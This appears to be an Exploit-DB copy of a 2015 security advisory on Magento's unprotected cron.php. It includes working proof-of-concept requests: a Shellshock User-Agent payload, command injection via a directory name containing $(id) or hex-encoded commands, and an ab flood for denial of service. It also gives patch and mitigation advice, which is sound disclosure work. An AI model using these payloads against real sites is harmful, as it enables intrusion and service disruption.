eBay Magento CE <= 1.9.2.1 - Unrestricted Cron Script Potential Code Execution / DoS

2015-11-07T00:00:00
ID EDB-ID:38651
Type exploitdb
Reporter Dawid Golunski
Modified 2015-11-07T00:00:00

Description

eBay Magento CE <= 1.9.2.1 - Unrestricted Cron Script (Potential Code Execution / DoS). Webapps exploit for php platform

                                        
                                            # Exploit Title: eBay Magento CE &lt;= 1.9.2.1 Unrestricted Cron Script (Potential Code Execution / DoS)
# Date: 06.11.2015
# Exploit Author: Dawid Golunski
# Vendor Homepage: http://magento.com
# Version: eBay Magento CE &lt;= 1.9.2.1 / Magento EE &lt;=1.14.2.1
# Tested on: Linux
# Magento reference ID: APPSEC-1045



=============================================
- Release date: 06.11.2015
- Discovered by: Dawid Golunski
- Severity: Medium
- eBay Magento ref.: APPSEC-1037
=============================================

 
I. VULNERABILITY
-------------------------

eBay Magento CE &lt;= 1.9.2.1      Unrestricted Cron Script (Potential Code Execution / DoS)
eBay Magento EE &lt;= 1.14.2.1

 
II. BACKGROUND
-------------------------

- eBay Magento eCommerce

http://magento.com/

"More than 240,000 merchants worldwide put their trust in our eCommerce 
software. Magento's eCommerce platform gives you the tools you need to attract 
more prospects, sell more products, and make more money. It's what we do.

We're owned by eBay, so you know we're eCommerce experts"

 
III. INTRODUCTION
-------------------------

Default installation of ebay Magento eCommerce software comes with a cron.php 
which allows to manage scheduled tasks. The script is not protected by default 
and can be publicly accessed.

The publicly exposed cron script poses some potential risks such as exploitation 
of the well known shellshock vulnerability on unpatched systems leading to code 
execution. 
The same script has another potential command execution vector that stems from 
inproper data sanitisation passed to a shell_exec function.

Apart from the code execution vectors, the script could potentially be used to
perform a DoS attack due to lack of locking mechanism that prevents the script
from spawning multiple instances of other helper shell scripts.


IV. DESCRIPTION
-------------------------
 
A) Shellshock vector

Magento cron.php script includes a command execution function that looks as
follows:

-----[ magento/cron.php ]-----

...

try {
    if (stripos(PHP_OS, 'win') === false) {
        $options = getopt('m::');
        if (isset($options['m'])) {
            if ($options['m'] == 'always') {
                $cronMode = 'always';
            } elseif ($options['m'] == 'default') {
                $cronMode = 'default';
            } else {
                Mage::throwException('Unrecognized cron mode was defined');
            }

        } else if (!$isShellDisabled) {
            $fileName = basename(__FILE__);
            $baseDir = dirname(__FILE__);
            shell_exec("/bin/sh $baseDir/cron.sh $fileName -mdefault 1 &gt; /dev/null 2&gt;&1 &");
            shell_exec("/bin/sh $baseDir/cron.sh $fileName -malways 1 &gt; /dev/null 2&gt;&1 &");
            exit;
        }
...

------------------------------
    

As can be seen, the script runs shell_exec() that loads /bin/sh program which
is usually a symlink to /bin/bash.
Although the shellshock vulnerability should be patched, there have been reports 
of linux distributions that insufficiently patched the issue and remained
vulnerable. 
Magento's cron.php could be used as exploit the shellshock vulnerability on 
unpatched systems which host Magento in CGI mode (which can be easily enabled 
via .htaccess file provided with Magento).

B) Command injection

The script fails to sanitise the input data coming from $baseDir variable. 
Input passed to shell execution functions should always be sanitised with 
escapeshellcmd / escapeshellarg PHP functions. 

Although not exploitable on its own, the lack of escaping could allow to inject 
some system commands on Magento hosting platforms which have a feature to 
create backups of directories with a specified name within the document root.

If the provided hosting control panel allows to specify names of such backups,
a user could potentially inject some malicious data within the directory name 
which could result in a command injection when cron.php is run from the backup 
directory.
The command would execute upon the shell_exec() receiving the malicious data 
injected with the help of the $baseDir variable.

C) Denial of Service

As the script lacks any access control and a locking mechanism, it is possible 
to remotely request cron.php multiple times in order to make it spawn 
multiple instances of the cron.sh script. 
As a single execution of the script results in 2 cron.sh spawned processes, plus
a separate CGI process (if website runs as CGI), an attacker could potentially
overload the Magento site with multiple requests and create a Denial of Service 
condition by process exhaustion etc.

 
V. PROOF OF CONCEPT
-------------------------
 
A) Shellshock vector exploit

Sending the following request to a CGI-enabled Magento site:

GET /magento/cron.php HTTP/1.1
Host: victim_magento_site
User-Agent: () { :; } ; /bin/touch /tmp/magento_cron_hack

will result in a command execution on shellshock affected systems.
The resul of the above would be:

victim$ ls -l /tmp/magento_cron_hack 
-rw-rw-rw- 1 www-data www-data 0 Jul 26 09:08 /tmp/magento_cron_hack



B) Command injection

Due to lack of sanitisation, if a malicious Magento user had access
to a backup facility, he could potenially create a backup of the magento 
directory with a command within the name , e.g.: 

$(id)

The user could then request the cron.php script via the following request:

GET /magento/$(id)/cron.php HTTP/1.1
Host: victim_magento_site

Because of the shell_exec() function in the quoted sourcecode of cron.php:

---
    $baseDir = dirname(__FILE__);
    shell_exec("/bin/sh $baseDir/cron.sh $fileName -mdefault 1 &gt; /dev/null 2&gt;&1 &");
---

it would cause the cron.php script to run the following command:

/bin/sh /var/www/magento/$(id)/cron.sh exec.php -mdefault 1 &gt; /dev/null 2&gt;&1 &

The command would run id program as soon as bash command expansion syntax of 
$() got evaluated.


An attacker could also run more complex commands, by hex encoding disallowed
characters within directory names (such as '/' directory separator).

For example, he could run the command: 

touch /tmp/magento_exec


by encoding it as follows:

echo 'touch /tmp/magento_exec' | hexdump -v -e '"\\\\\\""x" 1/1 "%02x" ""' ${1}

\\\x74\\\x6f\\\x75\\\x63\\\x68\\\x20\\\x2f\\\x74\\\x6d\\\x70\\\x2f\\\x6d\\\x61\\\x67\\\x65\\\x6e\\\x74\\\x6f\\\x5f\\\x65\\\x78\\\x65\\\x63

He could then execute it via a GET request of:

GET /magento/$(`echo%20-e%20\\\x74\\\x6f\\\x75\\\x63\\\x68\\\x20\\\x2f\\\x74\\\x6d\\\x70\\\x2f\\\x6d\\\x61\\\x67\\\x65\\\x6e\\\x74\\\x6f\\\x5f\\\x65\\\x78\\\x65\\\x63`)/exec.php HTTP/1.1

which would execute:

/bin/sh /var/www/magento/exec_poc/$(`echo -e \\\x74\\\x6f\\\x75\\\x63\\\x68\\\x20\\\x2f\\\x74\\\x6d\\\x70\\\x2f\\\x6d\\\x61\\\x67\\\x65\\\x6e\\\x74\\\x6f\\\x5f\\\x65\\\x78\\\x65\\\x63`)/cron.sh exec.php -mdefault 1 &gt; /dev/null 2&gt;&1 &

resulting in creating the PoC file:

victim$ ls -l /tmp/magento_exec 
-rw-r--r-- 1 www-data www-data 0 Jul 26 11:20 /tmp/magento_exec



C) Denial of Service

By sending multiple requests to cron.php, for example using apache benchmark
tool:

attacker$ ab -n 500 -c 30  http://victim_magento_site/magento/cron.php

attacker could exploit the lack of locking to spawn numerous processes,
potentially leading to resource exhaustion and a DoS condition.

The above command would result in creating multiple instances of the
cron.php/cron.sh scripts on the target host:

...
www-data  5529  0.2  1.3 287756  6872 ?        Rl   10:02   0:00 /usr/bin/php /var/www/magento/cron.php -mdefault
www-data  5531  0.2  1.1 288000  5848 ?        Dl   10:02   0:00 /usr/bin/php /var/www/magento/cron.php -mdefault
www-data  5533  0.2  1.2 288000  6432 ?        Dl   10:02   0:00 /usr/bin/php /var/www/magento/cron.php -malways
www-data  5535  0.3  1.2 288000  6484 ?        Dl   10:02   0:00 /usr/bin/php /var/www/magento/cron.php -malways
www-data  5537  0.3  1.5 288768  7740 ?        Dl   10:02   0:00 /usr/bin/php /var/www/magento/cron.php -malways
www-data  5539  0.3  1.3 287524  6956 ?        Rl   10:02   0:00 /usr/bin/php /var/www/magento/cron.php -malways
www-data  5541  0.3  1.4 288768  7168 ?        Dl   10:02   0:00 /usr/bin/php /var/www/magento/cron.php -malways
www-data  5543  0.3  1.4 288288  7188 ?        Rl   10:02   0:00 /usr/bin/php /var/www/magento/cron.php -malways
www-data  5546  0.3  1.4 288512  7188 ?        Rl   10:02   0:00 /usr/bin/php /var/www/magento/cron.php -malways
www-data  5885  0.0  0.0  17880   460 ?        S    10:03   0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
www-data  5886  0.0  0.0  17880   456 ?        S    10:03   0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
www-data  5887  0.0  0.0  17880   456 ?        S    10:03   0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
www-data  5888  0.0  0.0  17880   440 ?        S    10:03   0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
www-data  5889  0.0  0.0  17880   460 ?        S    10:03   0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
www-data  5890  0.0  0.0  17880   460 ?        S    10:03   0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
www-data  5891  0.0  0.0  17880   460 ?        S    10:03   0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
www-data  5899  0.0  0.0  17880   496 ?        S    10:03   0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
www-data  5900  0.0  0.0  17880   460 ?        S    10:03   0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
www-data  5901  0.0  0.0  17880   496 ?        S    10:03   0:00 /bin/sh /var/www/magento/cron.sh cron.php -malways 1
www-data  5904  0.0  0.0  17880   500 ?        S    10:03   0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
www-data  5907  0.0  0.0  17880   496 ?        S    10:03   0:00 /bin/sh /var/www/magento/cron.sh cron.php -malways 1
www-data  5909  0.0  0.0  17880   500 ?        S    10:03   0:00 /bin/sh /var/www/magento/cron.sh cron.php -malways 1
www-data  5910  0.0  0.0  17880   460 ?        S    10:03   0:00 /bin/sh /var/www/magento/cron.sh cron.php -malways 1
www-data  5912  0.0  0.0  17880   464 ?        S    10:03   0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
www-data  5913  0.0  0.0  17880   460 ?        S    10:03   0:00 /bin/sh /var/www/magento/cron.sh cron.php -mdefault 1
...

VI. BUSINESS IMPACT
-------------------------

The issue has been rated as medium. Depending on the Magento hosting features
and applied patches code execution could be possible which would increase the 
risks.
 
VII. SYSTEMS AFFECTED
-------------------------

The latest version of eBay Magento CE (1.9.2.1) was confirmed to contain
the vulnerable cron.php script.
The Magento EE versions also contain this problem according to the vendor's
advisory.

VIII. SOLUTION
-------------------------

eBay Magento assigned this issue the ID of APPSEC-1037 and supplied a patch
for it within the SUPEE-6788 patch bundle available on the official website.
The patch adds sanitisation functions around the shell_exec() code however
the cron script remains publicly accessible.

It is recommended to protect the cron script by other means.
For example, the script could require a key supplied together with a GET
request to proceed with the execution which is commonly used with other
major open source solutions.
The easiest way would also be restricting acess to the script to only
certain IPs or localhost within the web server configuration.

 
IX. REFERENCES
-------------------------

http://legalhackers.com/advisories/Magento-Unrestricted-Cron-Script-Vulnerability.txt

Oficial eBay Magento website:
http://magento.com/

Patch 'SUPEE-6788 Patch Bundle', addressing 'XXE/XEE Attack on Zend XML 
Functionality Using Multibyte Payloads' (APPSEC-1037) is available at:
 
https://magento.com/security/patches/supee-6788


X. CREDITS
-------------------------

The vulnerabilities have been discovered by Dawid Golunski
dawid (at) legalhackers (dot) com
legalhackers.com
 
XI. REVISION HISTORY
-------------------------

Nov 6th, 2015:  Advisory released
 
XII. LEGAL NOTICES
-------------------------

The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this information.